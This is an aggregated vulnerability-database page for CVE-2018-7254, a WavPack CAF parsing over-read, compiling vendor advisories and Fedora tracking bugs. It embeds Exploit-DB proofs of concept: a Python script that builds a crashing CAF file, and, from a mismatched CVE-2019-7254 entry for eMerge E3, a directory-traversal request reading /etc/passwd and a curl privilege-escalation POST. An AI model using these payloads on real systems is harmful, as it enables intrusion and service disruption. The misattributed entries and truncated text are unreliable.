CVE-2018-7254
published 2018-02-19CVE-2018-7254: The ParseCaffHeaderConfig function of the cli/caff.c file of WavPack 5.1.0 allows a remote attacker to cause a denial-of-service (global buffer over-read), or…
PriorityP346high7.8CVSS 3.0
AVLACLPRNUIRSUCHIHAH
EXPLOIT
EPSS
9.90%
95.0th percentile
The ParseCaffHeaderConfig function of the cli/caff.c file of WavPack 5.1.0 allows a remote attacker to cause a denial-of-service (global buffer over-read), or possibly trigger a buffer overflow or incorrect memory allocation, via a maliciously crafted CAF file.
Affected
7 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | debian_linux | — | — |
| debian | wavpack | < wavpack 5.1.0-3 (bookworm) | wavpack 5.1.0-3 (bookworm) |
| wavpack | wavpack | — | — |
| wavpack | wavpack | >= 0 < 5.1.0-3 | 5.1.0-3 |
| wavpack | wavpack | >= 0 < 5.1.0-3 | 5.1.0-3 |
| wavpack | wavpack | >= 0 < 5.1.0-3 | 5.1.0-3 |
| wavpack | wavpack | >= 0 < 5.1.0-3 | 5.1.0-3 |
CVSS provenance
nvdv3.07.8HIGHCVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
nvdv2.06.8MEDIUMAV:N/AC:M/Au:N/C:P/I:P/A:P
osv7.8HIGH
vendor_debian7.8HIGH
vendor_redhat7.8HIGH
vendor_ubuntu7.8HIGH
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GHSA
GHSA-57rx-55jg-62vm: The ParseCaffHeaderConfig function of the cli/caff
ghsa_unreviewed·2022-05-13
CVE-2018-7254 [HIGH] CWE-125 GHSA-57rx-55jg-62vm: The ParseCaffHeaderConfig function of the cli/caff
The ParseCaffHeaderConfig function of the cli/caff.c file of WavPack 5.1.0 allows a remote attacker to cause a denial-of-service (global buffer over-read), or possibly trigger a buffer overflow or incorrect memory allocation, via a maliciously crafted CAF file.
OSV
CVE-2018-7254: The ParseCaffHeaderConfig function of the cli/caff
osv·2018-02-19·CVSS 7.8
CVE-2018-7254 [HIGH] CVE-2018-7254: The ParseCaffHeaderConfig function of the cli/caff
The ParseCaffHeaderConfig function of the cli/caff.c file of WavPack 5.1.0 allows a remote attacker to cause a denial-of-service (global buffer over-read), or possibly trigger a buffer overflow or incorrect memory allocation, via a maliciously crafted CAF file.
Ubuntu
WavPack vulnerabilities
vendor_ubuntu·2018-02-22·CVSS 7.8
CVE-2018-7254 [HIGH] WavPack vulnerabilities
Title: WavPack vulnerabilities
Summary: Several security issues were fixed in WavPack.
It was discovered that WavPack incorrectly handled certain DSDIFF files.
An attacker could possibly use this to execute arbitrary code or
cause a denial of service. (CVE-2018-7253)
It was discovered that WavPack incorrectly handled certain CAF files.
An attacker could possibly use this to cause a denial of service.
(CVE-2018-7254)
Instructions: In general, a standard system update will make all the necessary changes.
Red Hat
wavpack: Global buffer over-read in ParseCaffHeaderConfig function in cli/caff.c
vendor_redhat·2018-02-19·CVSS 7.8
CVE-2018-7254 [HIGH] CWE-122 wavpack: Global buffer over-read in ParseCaffHeaderConfig function in cli/caff.c
wavpack: Global buffer over-read in ParseCaffHeaderConfig function in cli/caff.c
The ParseCaffHeaderConfig function of the cli/caff.c file of WavPack 5.1.0 allows a remote attacker to cause a denial-of-service (global buffer over-read), or possibly trigger a buffer overflow or incorrect memory allocation, via a maliciously crafted CAF file.
An out-of-bounds read flaw was found in the way WavPack handled processing of CAF (Core Audio Format) files. An attacker could potentially use this flaw to crash WavPack by tricking it into processing crafted CAF files.
Package: wavpack (Red Hat Enterprise Linux 6) - Not affected
Package: wavpack (Red Hat Enterprise Linux 7) - Not affected
Package: wavpack (Red Hat Enterprise Linux 8) - Not affected
Debian
CVE-2018-7254: wavpack - The ParseCaffHeaderConfig function of the cli/caff.c file of WavPack 5.1.0 allow...
vendor_debian·2018·CVSS 7.8
CVE-2018-7254 [HIGH] CVE-2018-7254: wavpack - The ParseCaffHeaderConfig function of the cli/caff.c file of WavPack 5.1.0 allow...
The ParseCaffHeaderConfig function of the cli/caff.c file of WavPack 5.1.0 allows a remote attacker to cause a denial-of-service (global buffer over-read), or possibly trigger a buffer overflow or incorrect memory allocation, via a maliciously crafted CAF file.
Scope: local
bookworm: resolved (fixed in 5.1.0-3)
bullseye: resolved (fixed in 5.1.0-3)
forky: resolved (fixed in 5.1.0-3)
sid: resolved (fixed in 5.1.0-3)
trixie: resolved (fixed in 5.1.0-3)
No detection rules found.
Exploit-DB
eMerge E3 1.00-06 - Unauthenticated Directory Traversal
exploitdb·2019-11-12·CVSS 7.5
CVE-2019-7254 [HIGH] eMerge E3 1.00-06 - Unauthenticated Directory Traversal
eMerge E3 1.00-06 - Unauthenticated Directory Traversal
---
# Exploit Title: eMerge E3 1.00-06 - Unauthenticated Directory Traversal
# Google Dork: NA
# Date: 2018-09-11
# Exploit Author: LiquidWorm
# Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/
# Software Link: http://linear-solutions.com/nsc_family/e3-series/
# Version: 1.00-06
# Tested on: NA
# CVE : CVE-2019-7254
# Advisory: https://applied-risk.com/resources/ar-2019-009
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
# Advisory: https://applied-risk.com/resources/ar-2019-005
# PoC
GET /?c=../../../../../../etc/passwd%00
Host: 192.168.1.2
root:$1$VVtYRWvv$gyIQsOnvSv53KQwzEfZpJ0:0:100:root:/root:/bin/sh
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:
Exploit-DB
eMerge E3 1.00-06 - Privilege Escalation
exploitdb·2019-11-12·CVSS 7.5
CVE-2019-7254 [HIGH] eMerge E3 1.00-06 - Privilege Escalation
eMerge E3 1.00-06 - Privilege Escalation
---
# Exploit Title: eMerge E3 1.00-06 - Privilege Escalation
# Google Dork: NA
# Date: 2018-09-11
# Exploit Author: LiquidWorm
# Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/
# Software Link: http://linear-solutions.com/nsc_family/e3-series/
# Version: 1.00-06
# Tested on: NA
# CVE : CVE-2019-7254, CVE-2019-7259
# Advisory: https://applied-risk.com/resources/ar-2019-009
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
# Advisory: https://applied-risk.com/resources/ar-2019-005
# PoC
# Escalate:
curl "http://192.168.1.2/?c=webuser&m=update" -X POST –-data "No=3&ID=test&Password=test&Name=test&UserRole=1&Language=en&DefaultPage=sitemap&DefaultFloorNo=1&DefaultFloorState=1&AutoDisconnectTime=24"
Exploit-DB
Wavpack 5.1.0 - Denial of Service
exploitdb·2018-02-21·CVSS 7.8
CVE-2018-7254 [HIGH] Wavpack 5.1.0 - Denial of Service
Wavpack 5.1.0 - Denial of Service
---
# Exploit title: Wavpack 5.1.0 - Denial of Service
# Date: 20.02.2018
# Exploit Author: r4xis
# https://github.com/r4xis
#
# Vendor Homepage: http://www.wavpack.com/
# Software Links: http://www.wavpack.com/downloads.html
# https://github.com/dbry/WavPack
#
#
# Version: Wavpack 5.1.0
# Tested on: Debian 9.3.0 64 bit
# Windows 7 32 bit and 64 bit
# Windows 8 64 bit
#
#
# CVE: CVE-2018-7254
# CVE Details:
# https://nvd.nist.gov/vuln/detail/CVE-2018-7254
# https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889274
# https://github.com/dbry/WavPack/issues/26
import os
head = "\x63\x61\x66\x66"
version = "\x00\x01"
junk1 = "\x00"*(0xa0-6)
crash = "\x80"
junk2 = "\x00"*100
f=open("poc.caf", 'w')
f.write(head+version+junk1+crash+junk2)
f.close()
os.syste
Bugzilla
CVE-2018-7254 mingw-wavpack: wavpack: Heap-based buffer over-read in ParseCaffHeaderConfig function in cli/caff.c [epel-7]
bugzilla·2018-02-21·CVSS 7.8
CVE-2018-7254 [HIGH] CVE-2018-7254 mingw-wavpack: wavpack: Heap-based buffer over-read in ParseCaffHeaderConfig function in cli/caff.c [epel-7]
CVE-2018-7254 mingw-wavpack: wavpack: Heap-based buffer over-read in ParseCaffHeaderConfig function in cli/caff.c [epel-7]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of epel-7.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit message.
Discussion
Bugzilla
CVE-2018-7254 mingw-wavpack: wavpack: Heap-based buffer over-read in ParseCaffHeaderConfig function in cli/caff.c [fedora-all]
bugzilla·2018-02-21·CVSS 7.8
CVE-2018-7254 [HIGH] CVE-2018-7254 mingw-wavpack: wavpack: Heap-based buffer over-read in ParseCaffHeaderConfig function in cli/caff.c [fedora-all]
CVE-2018-7254 mingw-wavpack: wavpack: Heap-based buffer over-read in ParseCaffHeaderConfig function in cli/caff.c [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of fedora-all.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit message.
NOT
Bugzilla
CVE-2018-7254 wavpack: Global buffer over-read in ParseCaffHeaderConfig function in cli/caff.c
bugzilla·2018-02-21·CVSS 7.8
CVE-2018-7254 [HIGH] CVE-2018-7254 wavpack: Global buffer over-read in ParseCaffHeaderConfig function in cli/caff.c
CVE-2018-7254 wavpack: Global buffer over-read in ParseCaffHeaderConfig function in cli/caff.c
The ParseCaffHeaderConfig function of the cli/caff.c file of WavPack 5.1.0 allows an attacker to cause a denial-of-service due to global buffer over-read via a maliciously crafted CAF file.
Upstream bug:
https://github.com/dbry/WavPack/issues/26
Upstream patch:
https://github.com/dbry/WavPack/commit/8e3fe45a7bac31d9a3b558ae0079e2d92a04799e
Discussion:
Created mingw-wavpack tracking bugs for this issue:
Affects: epel-7 [bug 1547737]
Affects: fedora-all [bug 1547736]
Created wavpack tracking bugs for this issue:
Affects: fedora-all [bug 1547738]
---
https://src.fedoraproject.org/rpms/wavpack/c/be8d9f333fca9df19894a907d33aded11cb16cbc?branch=master
Bugzilla
CVE-2018-7254 wavpack: Heap-based buffer over-read in ParseCaffHeaderConfig function in cli/caff.c [fedora-all]
bugzilla·2018-02-21·CVSS 7.8
CVE-2018-7254 [HIGH] CVE-2018-7254 wavpack: Heap-based buffer over-read in ParseCaffHeaderConfig function in cli/caff.c [fedora-all]
CVE-2018-7254 wavpack: Heap-based buffer over-read in ParseCaffHeaderConfig function in cli/caff.c [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of fedora-all.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit message.
NOTE: this issue a
http://packetstormsecurity.com/files/155743/Slackware-Security-Advisory-wavpack-Updates.htmlhttps://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889274https://github.com/dbry/WavPack/commit/8e3fe45a7bac31d9a3b558ae0079e2d92a04799ehttps://github.com/dbry/WavPack/issues/26https://seclists.org/bugtraq/2019/Dec/37https://usn.ubuntu.com/3578-1/https://www.debian.org/security/2018/dsa-4125https://www.exploit-db.com/exploits/44154/http://packetstormsecurity.com/files/155743/Slackware-Security-Advisory-wavpack-Updates.htmlhttps://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889274https://github.com/dbry/WavPack/commit/8e3fe45a7bac31d9a3b558ae0079e2d92a04799ehttps://github.com/dbry/WavPack/issues/26https://seclists.org/bugtraq/2019/Dec/37https://usn.ubuntu.com/3578-1/https://www.debian.org/security/2018/dsa-4125https://www.exploit-db.com/exploits/44154/
2018-02-19
Published